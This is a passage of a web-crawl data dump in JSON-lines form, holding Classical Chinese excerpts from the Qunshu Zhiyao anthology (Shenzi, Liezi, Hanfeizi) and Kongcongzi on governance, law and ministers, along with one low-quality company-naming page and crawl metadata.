。幾何而不陷乎哉。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022052.html","date":"2017-04-24T03:36:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00493-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.7503709197,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7503709197044373, \"cmn_Hani_score\": 0.15380801260471344, \"nan_Hani_score\": 0.055341918021440506, \"jpn_Jpan_score\": 0.01889493130147457}","num_words":34,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.75,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"欢迎访问本站。\n|嘉 言 第 一\n\n\n夫 子 适 周 见 苌 宏 . 言 终 退 . 苌 宏 语 刘 文 公 曰 . 吾 观 孔 仲 尼 有 圣 人 之 表 . 河 目 而 隆 颡 . 黄 帝 之 形 貌 也 . 修 肱 而 龟 背 . 长 九 尺 有 六 寸 . 成 汤 之 容 体 也 . 然 言 称 先 王 . 躬 履 谦 让 . 洽 闻 强 记 . 博 物 不 穷 . 抑 亦 圣 人 之 兴 者 乎 . 刘 子 曰 方 今 周 室 衰 微 而 诸 侯 力 争 . 孔 丘 布 衣 . 圣 将 安 施 . 苌 宏 曰 尧 舜 文 武 之 道 . 或 弛 而 坠 . 礼 乐 崩 丧 亦 正 其 统 纪 而 巳 矣 . 既 而 夫 子 闻 之 . 曰 吾 岂 敢 哉 . 亦 好 礼 乐 者 也 .\n陈 惠 公 大 城 . 因 起 凌 阳 之 台 . 未 终 . 而 坐 法 死 者 数 十 人 . 又 执 三 监 吏 . 夫 子 适 陈 . 闻 之 . 见 陈 侯 . 与 俱 登 台 而 观 焉 . 夫 子 曰 美 哉 斯 台 . 自 古 圣 王 之 为 城 台 . 未 有 不 戮 一 人 而 能 致 功 若 此 者 也 . 陈 侯 默 而 退 . 遂 窃 赦 所 执 吏 . 既 而 见 夫 子 . 问 曰 昔 周 作 灵 台 亦 戮 人 乎 . 荅 曰 文 王 之 兴 . 附 者 六 州 . 六 州 之 众 . 各 以 子 道 来 . 故 区 区 之 台 . 未 及 期 日 而 巳 成 矣 . 何 戮 之 有 乎 . 夫 以 少 少 之 众 . 能 立 大 大 之 功 . 唯 君 尔 .\n子 张 曰 、 女 子 必 渐 乎 二 十 而 后 嫁 . 何 也 . 孔 子 曰 十 五 许 嫁 而 后 从 夫 . 是 阳 动 而 阴 应 . 男 唱 而 女 随 之 义 也 . 以 为 缋 组 紃 织 纴 者 . 女 子 之 所 有 事 也 . 黼 黻 文 章 之 义 . 妇 人 之 所 有 大 功 也 . 必 十 五 以 往 渐 乎 二 十 . 然 后 可 以 通 乎 此 事 . 通 乎 此 事 . 然 后 乃 能 上 以 孝 于 舅 姑 . 下 以 事 夫 养 子 也 .\n宰 我 使 于 齐 而 反 . 见 夫 子 . 曰 梁 邱 据 遇 虺 毒 . 三 旬 而 后 瘳 . 朝 齐 君 . 齐 君 会 大 夫 众 宾 而 庆 焉 . 弟 子 与 在 宾 列 . 大 夫 众 宾 并 复 献 攻 疗 之 方 . 弟 子 谓 之 曰 夫 所 以 献 方 将 为 病 也 . 今 梁 邱 巳 疗 矣 . 而 诸 夫 子 乃 复 献 方 . 方 将 安 施 . 意 欲 梁 邱 大 夫 复 有 虺 害 当 用 之 乎 . 众 坐 默 然 无 辞 . 弟 子 此 言 何 如 . 夫 子 曰 汝 说 非 也 . 夫 三 折 肱 为 良 医 . 梁 邱 子 遇 虺 毒 而 获 疗 . 犹 有 与 之 同 疾 者 . 必 问 所 以 巳 之 之 方 焉 . 众 人 为 此 故 各 言 其 方 . 欲 售 之 以 巳 人 之 疾 也 . 凡 言 其 方 者 . 称 其 良 也 . 且 以 ? 据 所 以 巳 之 之 方 优 劣 耳 .\n夫 子 适 齐 . 晏 子 就 其 馆 . 既 宴 其 私 焉 . 曰 齐 其 危 矣 . 譬 若 载 无 辖 之 车 以 临 千 仞 之 谷 . 其 不 颠 覆 亦 难 冀 也 . 子 吾 心 也 . 子 以 齐 为 游 息 之 馆 . 当 或 可 救 . 子 幸 不 吾 隐 也 . 夫 子 曰 夫 死 病 无 可 为 医 . 夫 政 令 者 、 人 君 之 衔 辔 . 所 以 制 下 也 . 今 齐 君 失 之 巳 久 矣 . 子 虽 欲 挟 其 辀 而 扶 其 轮 . 良 弗 及 也 . 抑 犹 可 以 终 齐 君 及 子 之 身 . 过 此 以 往 齐 其 田 氏 矣 .\n齐 东 郭 亥 欲 攻 田 氏 . 执 贽 见 夫 子 而 访 焉 . 夫 子 曰 子 为 义 也 . 丘 不 足 与 计 事 . 揖 子 贡 使 荅 之 . 子 贡 谓 之 曰 今 子 士 也 . 位 卑 而 图 大 . 位 卑 则 人 不 附 也 . 图 大 则 人 惮 之 . 殆 非 子 之 任 也 . 盍 姑 巳 乎 . 夫 以 一 缕 之 任 . 系 千 钧 之 重 . 上 县 之 于 无 极 之 高 . 下 垂 之 于 不 测 之 深 . 旁 人 皆 哀 其 绝 . 而 造 之 者 不 知 其 危 . 子 之 谓 乎 马 方 骇 鼓 而 惊 之 . 系 方 绝 重 而 填 之 . 马 奔 车 覆 . 六 辔 不 禁 . 系 绝 于 高 . 坠 入 于 深 . 其 危 必 矣 . 东 郭 亥 免 战 而 跪 . 曰 吾 巳 矣 . 愿 子 无 言 . 既 而 夫 子 告 子 贡 曰 、 东 郭 亥 欲 为 义 者 也 . 子 亦 告 之 以 难 易 则 可 矣 . 奚 至 惧 之 哉 . 宰 我 问 君 子 尚 辞 乎 . 孔 子 曰 、 君 子 以 理 为 尚 . 博 而 不 要 . 非 所 察 也 . 繁 辞 富 说 . 非 所 听 也 . 唯 知 者 不 失 理 . 孔 子 曰 吾 于 予 取 其 言 之 近 类 也 . 于 赐 取 其 言 之 切 事 也 . 近 类 则 足 以 喻 之 . 切 事 则 足 以 惧 之 .\n感谢您访问本站。","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.ldbj.com\/kongcongzi\/kongcongzi_01.htm","date":"2022-08-11T01:31:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571232.43\/warc\/CC-MAIN-20220811012302-20220811042302-00313.warc.gz","language":"lzh","language_score":0.9902552366,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9902552366256714}","num_words":989,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.567,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"慎 子\n群書治要卷三十七\n威 德\n天有明。不憂人之暗也。地有財。不憂人之貧也。聖人有德。而不憂人之危也。天雖不憂人之暗也。闢户牖必取己明焉。則天無事也。地雖不憂人之貧也。伐木刈草。必取己富焉。則地無事矣。聖人雖不憂人之危也。百姓準上。而比於其下。必取己安焉。則聖人無事矣。故聖人處上。能無害人。不能使人無己害也。則百姓除其害矣。聖人之有天下也。受之也。非取之也。有光明之德。故百姓推而與之耳。豈其心哉。百姓之於聖人也。養之也。非使聖人養己也。則聖人無事矣。\n毛嬙。西施。天下之至姣也。衣之以皮倛。則見之者皆走。荀卿曰。仲尼之狀。面若蒙倛。易之以玄緆。則行者皆止。緆謂細布。由是觀之。則玄緆。色之助也。姣者辭之。則色厭矣。走背跋踚窮谷。野走千里。藥也。走背辭藥則足廢。理有相須。而作事有待具而成。故雖資傾城之觀。必俟衣裳之飾。雖挺越常之足。必假藥物而疾。故有才無勢。將顛墜於溝壑。有勢無才。亦騰乎風雲。萬動云云。咸皆然耳。\n故騰蛇游霧。飛龍乘雲。雲罷霧霽。與蚯蚓同。則失其所乘也。故賢而屈於不肖者。權輕也。不肖而服於賢者。位尊也。堯爲匹夫。不能使其鄰家。至南面而王。則令行禁止。由此觀之。賢不足以服不肖。而勢位足以服不肖。而勢位足以屈賢矣。故無名而斷者。權重也。弩弱而矰高者。乘於風也。身不肖而令行者。得助於衆也。故舉重越高者。不慢於藥。愛赤子者。不漫於保。絶險歷遠者。不慢於御。此得助則成。釋助則廢矣。夫三王五伯之德。參於天地。通於鬼神。周於生物者。其得助博也。\n古者。工不兼事。士不兼官。工不兼事則事省。事省則易勝。士不兼官則職寡。職寡則易守。故士位可世。工事可常。古之宰物。皆用其一能以成其一事。是以用無弃人。使無弃才。若乃任使於過分之中。役物於异便之地。則上下顛倒。事能淆亂矣。百工之子。不學而能者。非生巧也。言有其常事也。今也國無常道。官無常法。是以國家日繆。教雖成。官不足。官不足則道理匱。道理匱則慕賢智。慕賢智則國家之政要在一人之心矣。人之情也。莫不自賢。則不相推。政要在一人。從一人之所欲。不必善。則政教陵遲矣。\n古者立天子而貴之者。非以利一人也。曰。天下無一貴。理無由通。通理以爲天下也。故立天子以爲天下也。非立天下以爲天子也。立國君以爲國也。非立國以爲君也。立官長以爲官也。非立官以爲長也。法雖不善。猶愈於無法。所以一人心也。。夫投鈎分財。投策分馬。非鈎策爲均也。使得美者不知所以賜。得惡者不知所以怨。此所以塞怨望使不上也。明君動事必由惠。定罪分財必由法。行德制中必由禮。法者。所以愛民。禮者。所以便事。故欲不得干時。必於農隙也。愛不得犯法。當官而行。貴不得逾規。禄不得逾位。惠不得兼官。工不得兼事。以能受事。以事受利。若是者、上無羨賞。民無羨財。羨。猶溢也。\n因 循\n天道因則大。因百姓之情。遂自然之性。則其功至高。其道至大也。化則細。化使從我。物所樂。其理禍(禍恐猶誤)狹。其德細小也。因也者、因人之情也。人莫不自爲也。化而使之爲我。則莫可得而用矣。違性矯情。引彼就我。則忿戾乖違。莫有從之者矣。是故先王不受禄者不臣。禄不厚者。不與入難。人不得其所以自爲也。則上不取用焉。夫君上取用。必須天機之動。性分之通。然後上下交泰。經世可久耳。故放使自爲。則無不得。仕而使之。則無不失矣。故用人之自爲。不用人之爲我。則莫不可得而用矣。此之謂因。\n民 雜\n民雜處而各有所能。所能者不同。此民之情也。故聖人不求備於一人也。大君者。大上也。兼畜下者也。下之所能不同。而皆上之用也。是以大君因民之能爲資。盡苞而畜之。無能去取焉。夫人君之御世也。皆曲盡百姓之能。兼羅萬物之分。因其長短。就而用之。使能文者爲文。能武者爲武。聾者使其聽。盲者使其視。(聾者使其聽。盲者使其視。當作聾者使其視。盲者使其聽)故理有盡用。物無弃財。是故不設一方以求於人。故所求者無不足也。大君不擇其下、故足也。不擇其下。則易爲下矣。易爲下。則下莫不容。莫不容、故多下。多下之謂大上。其下既多。故在上者大。\n君臣之道。臣事事。言事其所事。而君無事。百官之屬。各有所司。君逸樂而臣任勞。臣盡智力以善其事。而君無與焉。仰成而已。故事無不治。人君自任。而務爲善以先下。則是代下負任蒙勞也。臣反逸矣。故曰。君人者好爲善以先下。則不敢與君争爲善以先君矣。君好見其善。則群下皆淫善於君矣。上以一方之善。而施於衆方之中。求其爲瞻。偏已多矣。君偏既多。而臣韜其善。則天下亂矣。皆私其所知以自覆掩有過。則臣反責君。逆亂之道。夫所以置三公而列百官者。將使群臣各進所知以康庶績耳。若乃君顯其善而臣藏其能。百事從君而出。衆端自上而下。則臣善不用。而歸惡有在矣。\n君之智、未必最賢於衆也。以未最賢而欲以善盡被下。則不贍矣。假使其賢。猶不可推一己之智以察群下。而况不最賢。若使君之智最賢。以一君而盡贍下則勞。勞則有倦。倦則衰。衰則復反於不贍之道也。是以君自任而躬事。則臣不事事矣。言君之專荷其事。則臣下不復以事爲事矣。是君臣易位也。謂之倒逆。倒逆則亂矣。人君任臣而勿自躬。則臣事事矣。是君臣之順。治亂之分。不可不察。所謂任人者逸。自任者勞也。\n知 忠\n亂世之中。亡國之臣。非獨無忠臣也。治國之中。顯君之臣。非獨能盡忠也。治國之人。忠不偏於其君。亂世之人。道不偏於其臣。然而治亂之世。同世(世疑衍)有忠道之人。臣之欲忠者不絶世。而君未得寧其上。夫滅亡之國。皆有忠臣耳。然賢君千載一會。忠臣世世有之。值其一隆之時。則相與而交興矣。遇其昏亂之主。則相與而俱已矣。無遇比干、子胥之忠。而毁瘁主君於暗墨之中。遂染溺滅名而死。由是觀之。忠未足以救亂世。而適足以重非。何以識其然也。曰。父有良子而舜放瞽叟。桀有忠臣。而過盈天下。然則孝子不生慈父之義。六親不和有孝慈也。而忠臣不生聖君之下。國家昏亂有貞臣也。故明主之使其臣也。忠不得過職。而職不得過官。\n是以過修於身。而下不敢以善驕矜。守職之吏。人務其治。而莫敢淫偷其事。官正以敬。其業和。吏人務其治。而莫敢淫偷其事。官正以順。以事其上。如此、則至治已。此五帝三王之業也。亡國之君。非一人之罪也。惡不衆則不足以亡其國也。治國之君。非一人之力也。善不多則不足以興治也。將治亂在乎賢使任職。而不在於忠也。故智盈天下。澤及其君。忠盈天下。害及其國。故桀之所以亡。堯不能以爲存。然而堯有不勝之善。言其善道不可勝言也。而桀有運非之名。天下之惡皆歸之也。則得人與失人也。故廊廟之材。蓋非一木之枝也。狐白之裘。蓋非一狐之皮也。治亂安危。存亡榮辱之施。非一人之力也。\n德 立\n立天子者。不使諸侯疑焉。立諸侯者。不使大夫疑焉。立正妻者。不使嬖妾疑焉。立嫡子者。不使庶孽疑焉。疑則動。兩則争。雜則相傷。害在有與、不在獨也。故臣有兩位者國必亂。臣兩位而國不亂者。君猶在也。恃君而不亂。失君必亂。子有兩位者。家必亂。子有兩位。而家不亂者。親猶在也。恃親而不亂。失親必亂。臣疑其君。無不危之國。孽疑其宗。無不危之家。\n君 人\n君人者。舍法而以身治。則誅賞奪與從君心出矣。然則受賞者雖當。望多無窮。受罰者雖當。望輕無已。民之所信者。法也。今在賞者欲多。在罰者欲少。無法以限之。則不知所論矣。雖極聰明以窮輕重。盡心以班奪與。夫何解於怨望哉。君舍法而以心裁輕重。則是同功而殊罰也。怨之所由生也。是以分馬者之用策。分田者之用鈎也。非以鈎策爲過人智也。所以去私塞怨也。故曰。大君任法而弗躬爲。則事斷於法矣。法之所加。各以其分蒙其賞罰。而無望於君也。是以怨不生而上下和矣。\n君 臣\n爲人君者不多聽。物有本。事有原。據法倚數。以觀得失。無法之言。不聽於耳。無法之勞。不圖於功。無勞之親。不任於官。官不私親。法不遺愛。上下無事。唯法所在。法令者。生民之命。至治之令。天下之程式。萬事之儀表。智者不得過。愚者不得不及焉。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022058.html","date":"2017-04-24T03:33:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00134-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6068822742,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6068822741508484, \"cmn_Hani_score\": 0.17811985313892365, \"nan_Hani_score\": 0.0898095890879631, \"jpn_Jpan_score\": 0.02950584515929222, \"wuu_Hani_score\": 0.01456709485501051}","num_words":31,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.607,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"列 子\n群書治要卷三十四\n天 瑞\n子列子曰。天地無全功。聖人無全能。萬物無全用。全猶備也。故天職生覆。地職形載。聖職教化。物職所宜。職。主也。生各有性。性各有宜。然則天有所短。地有所長。圣有所否。物有所通。夫職適於一方者。餘塗則罔(本注罔作閡)矣。形必有所分。聲必有所屬。若温也則不能凉。若宫也則不能商。何則。生覆者不能形載。形載者不能教化。教化者不能違所宜。宜定者不出所位。皆有素分。不可逆也。故天地之道。非陰則陽。聖人之教。非仁則義。萬物之宜。非剛則柔。此皆隨所宜而不能出所位者也。方圓靖躁。理不得兼。\n殷汤问\n大禹曰。六合之間。四海之内。照之以日月。經之以星辰。紀之以四時。要之以太歲。神靈所生。其物异(异作其)形。或夭或壽。唯聖人能通其道。聖人順天地之道。因萬物之性。任其所適。通其所逆。使群异各得其方。壽夭盡其分。\n力 命\n管夷吾有病。小白問之。曰。仲父之病。病矣。至於大病。則寡人惡乎屬國而可。夷吾曰。公誰欲歟。小白曰。鮑叔牙可。曰。不可。其爲人潔廉善士。清己而已。其於不己若者。不比之人。欲以己善齊物也。一聞人之過。終身不忘。不能弃瑕録善。使之治國。上且鈎乎君。下且逆乎民。必引君令其道不弘。道苟不弘。則逆民而不能納矣。其得罪於君。將弗久矣。小白曰。然則孰可。對曰。勿已則隰朋可。其爲人也。愧不若黄帝。而哀不己若者。慚其道之不及聖。矜其民不以逮己。故能無弃人也。以德分人。謂之聖人。化之使合道。而不宰割。以財分人。謂之賢人。既以與人。已愈有也。以賢臨人者。未有得人者也。求備於人。則物所不與也。以賢下人者。未有不得人者也。與物升降者。物必歸之也。其於國。有不聞也。其於家。有不見也。道行則不賴(賴作煩)聞見。故曰不瞽不聾。不能成功。勿已。則隰朋可。若有聞見。則事鍾於己。而群生無所措手足。故遺之可。未能盡道。故僅可耳。然則管夷吾非薄鮑叔也。不得不薄。非厚隰朋也。不得不厚。厚薄之去來。弗由我也。皆天理也。\n説 符\n晋國苦盗。有卻雍者。能視盗之貌。察其眉睫之間。而得其情。晋侯使視盗。千百無遺一焉。晋侯大喜。告趙文子曰。吾得一人而一國盗爲盡。奚用多爲。文子曰。吾君恃伺察而得盗。盗不盡矣。且卻雍必不得其死焉。俄而群盗謀曰。吾所窮者卻雍也。遂共盗而戕。殺之也。晋侯聞而大駭。召文子而告之曰。果如子言。卻雍死。然取盗何方。文子曰。周諺有言。察見淵魚者不祥。智料隱匿者有殃。且君欲無盗。莫若舉賢而任之。使教明於上。化行於下。人有耻心。則何盗之爲。於是用隨會知政。而群盗奔秦焉。用聰明以察是非者。群詐之所逃。用少(少作先)識以擿奸伏者。衆惡之所疾。智之爲患。豈虚也哉。\n孔子自衛反魯。息駕乎河梁而觀焉。其懸水三十仞。圜流九十里。魚鱉弗能游。黿鼉弗能居。有丈夫方將厲之。孔子使人止之曰。此懸水三十仞。圜流九十里。魚鱉黿鼉弗能居也。意者難可以濟乎。丈夫不以措意。遂度而出。孔子問之曰。巧乎。有道術乎。所以能入而出者何也。丈夫對曰。始吾之入也。先以忠信。吾之出也。又從以忠信。措吾軀於波流。而吾不敢用私。所以能入而復出者以此也。孔子謂弟子曰。二三子識之。水且猶可以忠信親之。而况人乎。\n楚莊王問詹何曰。治國奈何。詹何蓋隱者也。詹何對曰。何明於治身。而不明於治國也。楚王曰。寡人得奉宗廟社稷。願學所以守之。詹何對曰。臣未嘗聞身治而國亂者也。又未嘗聞身亂而國治者也。故本在身。不敢對以末。楚王曰。善。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022050.html","date":"2017-04-24T22:52:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917119995.14\/warc\/CC-MAIN-20170423031159-00397-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4899401367,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4899401366710663, \"cmn_Hani_score\": 0.26889848709106445, \"nan_Hani_score\": 0.07921512424945831, \"jpn_Jpan_score\": 0.03230723366141319, \"wuu_Hani_score\": 0.021290598437190056, \"und_Tang_score\": 0.0151181286200881, \"zxx_Latn_score\": 0.010997209697961807}","num_words":16,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"优秀设计师\n装饰公司名字大全霸气的有创意!如何给装饰公司一个好的名字?今天小编就带大家一起看看装饰公司名字大全吧。\n锦 利 兴 兴 兴 巢 达 盛 威 德 达 华 华 天 利 轩 源 兴 腾 源 盛 兴 华 力 威 鼎 博 德 威 腾 亿 尚 耀 恒 宇 恒 科 华 盛 科 业 泰 安 威 世 盛 安 兴 兴 宇 兴 源 威 鼎 海 宇 浩 兴 宏 宇 威鑫 星 盛 源 轩 轩 达 威 耀 源 威达 宏 润 鑫 华 源 天 兴 华 宇 威 威 利 威 泰 泰 泰 泰 华 达 威 恒 兴 宏 达 达 达 威 威 康 仁 泰 耀 威 泽 辉 旭 祥 李 安 鹏 盛泰 泽 宏 腾 腾 泰 泰 星 星 兴 广 达 耀 威 启 启 德 鑫 达 兴 泰 济 宏 达 耀 盛 润 兴 华 鑫 威 威 威 耀 达 明 耀 光 泰 泰 泰 泰 泰 泰 泰 恒 恒 恒 通 信 通 通 信 信 通 泰 泰 威 康 源 德 达 泰 邦 信 信 通 诚 信 世 邦 邦 泰 宏 达 达 威 达 耀 邦 隆 德 德 威 辉 隆 润 信 信 信 德 达 信 兴 富 耀 隆 邦 兴 华 达 祥 兴 富 威 达 智 达 康 信 发 世 祥 信 达 信 泰 星 泰 济 源 恒","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.wxtd.com.cn\/post\/25457.html","date":"2022-08-15T04:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572127.33\/warc\/CC-MAIN-20220815024523-20220815054523-00596.warc.gz","language":"lzh","language_score":0.626065135,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6260651350021362, \"cmn_Hani_score\": 0.23627883195877075, \"nan_Hani_score\": 0.13718554377555847}","num_words":235,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.454,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.626,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"韓 子\n群書治要卷四十\n十 過\n十過。一曰。行小忠。則大忠之賊也。二曰。顧小利。則大利之殘也。三曰。行僻自用。無禮諸侯。則亡身之至也。四曰。不務聽治而好五音。則窮身之事也。五曰。貪愎喜利。則滅國殺身之本也。六曰。耽於女樂。不顧國政。則亡國之禍也。七曰。離内遠游。忽於諫士。則危身之道也。八曰。過而不聽於忠臣。而獨行其意。則滅高名爲人笑之始也。九曰。内不量力。外恃諸侯。則削國之患也。十曰。國小無禮。不用諫臣。則絶世之勢也。\n説 難\n昔者彌子瑕有寵於衛君。衛國之法。竊駕君車者罪跀。彌子母病。人間有夜吿彌子。彌子矯駕君車以歸。君曰。孝哉。爲母故犯跀罪。异日。與君游於果園。食桃而甘。不盡。以其半啖君。君曰。愛我哉。忘其口而啖寡人。及彌子色衰愛弛。得罪於君。君曰。是故嘗矯駕吾車。又嘗啖我以餘桃。故彌子之行未移於初也。而前所以見賢。後獲罪者。人主愛憎之變也。故有愛於主。則智當而加親。有憎於主。則智不當而加疏。\n解 老\n工人數變業。則失其功。作者數摇徙。則亡其功。一人之作。日亡半日。十日則亡五人之功。萬人之作。日亡半日。十日則亡五萬人之功。然則數變業。其民彌衆。其虧彌大矣。凡法令更。則利害易。利害易。則民務變。民務變。謂之變業。故以理觀之。事大衆而數摇之。則少成功。藏大器而數徙之。則多敗傷。烹小鮮而數橈之。則賊其宰。治大國而數變法。則民苦之。是以有道之君。貴虚静。而重變法。故曰。治大國者。若烹小鮮。\n説林上\n樂羊爲魏將攻中山。其子在中山。中山之君。烹其子而遺之。樂羊盡一杯。文侯謂堵師贊曰。樂羊以我故食其子之肉。答曰。其子而食之。且誰不食。樂羊罷中山。文侯賞其功。而疑其心。孟孫獵得麑。使秦西巴(舊無巴字。補之。下巴同)持之以歸。其母隨而呼。秦西巴以不忍而與之。孟孫大怒。逐之。居三月。復召爲其子傅。其御曰。曩將罪之。今使傅子何也。孟孫曰。夫不忍麑。又且忍吾子乎。故曰。巧詐不如拙誠。樂羊以有功見疑。秦西巴以有罪益信。\n觀 行\n古之人目短於自見。故以鏡觀面。智短於自知。故以道正己。目失鏡則無以正鬚眉。身失道。則無以知迷惑。西門豹之性急。故佩韋以緩己。董閼於之心緩。故佩絃以自急。故以有餘補不足。以長續短之謂明主。天下有信數三。一曰。智有所不能立。二曰。力有所不能攀。三曰。强有所不能勝。故雖有堯之智。而無衆人之助。大功不立。有烏獲之勁。而不得人助。不能自舉。有賁育之强而無術法不得長生。故勢有不可得。事有不可成。故烏獲輕千鈞而重其身。非其身重於千鈞也。勢不便也。離婁易百步而難眉睫。非百步近而眉睫遠也。道不可也。故明主不窮烏獲以其不能自舉。不困離婁以其不能自見。因可勢求易道。故用力寡而功名立。\n用 人\n釋法術而心治。堯不能正一國。去規矩而妄意。奚仲不能成一輪。使中主守法術。拙匠執規矩。則萬不失也。君人者。能去賢巧之所不能。而守中拙之所萬不失。則人力盡而功名立。\n功 名\n明君之所以立功成名者四。一曰。天時。二曰。人心。三曰。伎能。四曰。勢位。非天時。雖十堯不能冬生一穗。逆人心。雖賁、育不能盡人力。故得天時。則不務而自生。得人心。則不趣而自勸。因伎能。則不急而自疾。得勢位。則不進而成名。若水之流。若船之浮。守自然之道。行毋窮之令。故曰明主。\n大 體\n古之全大體者。望天地。觀江海。因山谷。日月照。四時行。雲布風動。不以智累心。(本書下心作私)不以心累己。寄治亂於法術。托是非於賞罰。屬輕重於權衡。不逆天理。不傷情性。不吹毛而求小疵。不洒垢而察難知。守成理。因自然。榮辱之責。在乎己。而不在乎人。上不天。則下不遍覆。心不地。則物不畢載。大山不立好惡。故能成其高。江海不擇小助。故能成其富。故大人寄形於天地。而萬物備。措心於山海。而國家富。上無忿怒之志。(志作毒。怨舊作愆。改之)下無伏怨之患。故長利積。大功立。名成於前。德垂於後。治之至也。\n外儲説左上\n文公反國至河。令籩豆捐之。席蓐捐之。手足胼胝。面目梨黑者後之。咎犯聞之而夜哭。文公曰。咎氏不欲寡人之反國耶。對曰。梨豆所以食也。而君捐之。席蓐所以臥也。而君弃之。手足胼胝、面目梨黑。勞有功者也。而君後之。今臣與在後中。不勝其哀。故哭也。且臣爲君行詐僞以反國者衆矣。臣尚自惡也。而况於君乎。再拜而辭。文公止之。乃解左驂而盟於河。\n魏文侯與虞人期獵。明日會疾風。左右止。文侯不聽。曰。可以疾風之故而失信。吾不爲也。遂自驅車往。犯風而罷虞人。\n曾子妻之市。其子隨而泣。其母曰。汝還顧反。爲汝殺彘。妻道(道作適)。市來。曾子欲捕彘殺之。其妻止之曰。特與嬰兒戲也。曾子曰。嬰兒者非有知也。待父母而學之者也。今子欺之。是教子欺也。母欺子。子而不信其母。非所以成教也。遂殺彘。\n外儲説左下\n文王伐崇。至黄鳳墟。而韤繫解。左右顧無可令結繫。文王自結之。太公曰。君何爲自結繫。文王曰。吾聞上君之所與處者。盡其師也。中君之所與處者。盡其友也。下君之所與處者。盡其使也。今寡人雖不肖。所與處者。皆先君之人也。故無可令結之者也。\n解狐與邢伯柳爲怨。趙簡主問於解狐曰。孰可爲上黨守。對曰。邢伯柳可。簡主曰。非子之讎乎。對曰。臣聞忠臣之舉賢也。不避仇讎。其廢不肖也。不阿親近。簡主曰。善。遂以爲守。邢伯柳聞之。乃見解狐謝。解狐曰。舉子公也。怨子私也。往矣。怨子如异日。\n難 勢(舊無難勢字。加之)\n夫良馬固車。使臧獲御之。則爲人笑。王良御之。而日取千里。車馬非异也。或至乎千里。或爲人笑。則巧拙相去遠矣。今以國爲車。以勢爲馬。以號令爲轡銜。以刑罰爲鞭策。堯舜御之。則天下治。桀紂御之。則天下亂。則賢不肖相去遠矣。夫欲追遠致速。不如任王良。欲進利除害。不如任賢能。此則不知類之患也。夫堯舜亦民之王良也。明主之治國也。適其時事。以致財物。論其税賦。以均貧富。厚其爵禄。以盡賢能。重其刑罰。以禁奸邪。使民以力得富。以事致貴。以過受罪。以功置賞。而不望慈惠之賜。此帝王之政也。\n奸劫弑臣\n凡奸臣者。皆欲順人主之心。以取信幸之勢者也。是以主有所善。臣從而譽之。主有所憎。臣因而毁之。凡人之大體。取捨同則相是也。取捨异則相非也。今人臣之所譽者。人主之所是也。此之謂同取。人臣之所毁者。人主之所非也。此之謂同舍。夫取舍合。同而相與逆者。未嘗聞也。此人臣之所取信幸之道也。夫奸臣得乘信幸之勢。以毁譽進退群臣者也。人主非有術數以御之。非有參驗以審之。必將以曩之合已。信今之言。此幸臣之所以得欺主成私者也。故主必蔽於上。臣必重於下矣。此之謂擅主之臣。國有擅主之臣。則群下不得盡智力以陳其忠。百官之吏。不得奉令以致其力矣。何以明之。夫安利者就之。危害者去之。此人之情也。人主者非目若離婁乃爲明也。非耳若師曠乃爲聰也。不任其數。而待目以爲明。所見者少矣。非不蔽之術也。不因其勢。而待耳以爲聰。所聞者寡矣。非不欺之道也。明主者。使天下不得不爲己視。使天下不得不爲己聰。故身在深宫之中。明燭四海之内。而天下弗能蔽。弗能欺也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022064.html","date":"2017-04-24T03:37:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00136-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5701422691,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5701422691345215, \"cmn_Hani_score\": 0.24852833151817322, \"nan_Hani_score\": 0.05280591547489166, \"jpn_Jpan_score\": 0.04727041721343994, \"wuu_Hani_score\": 0.01774628646671772, 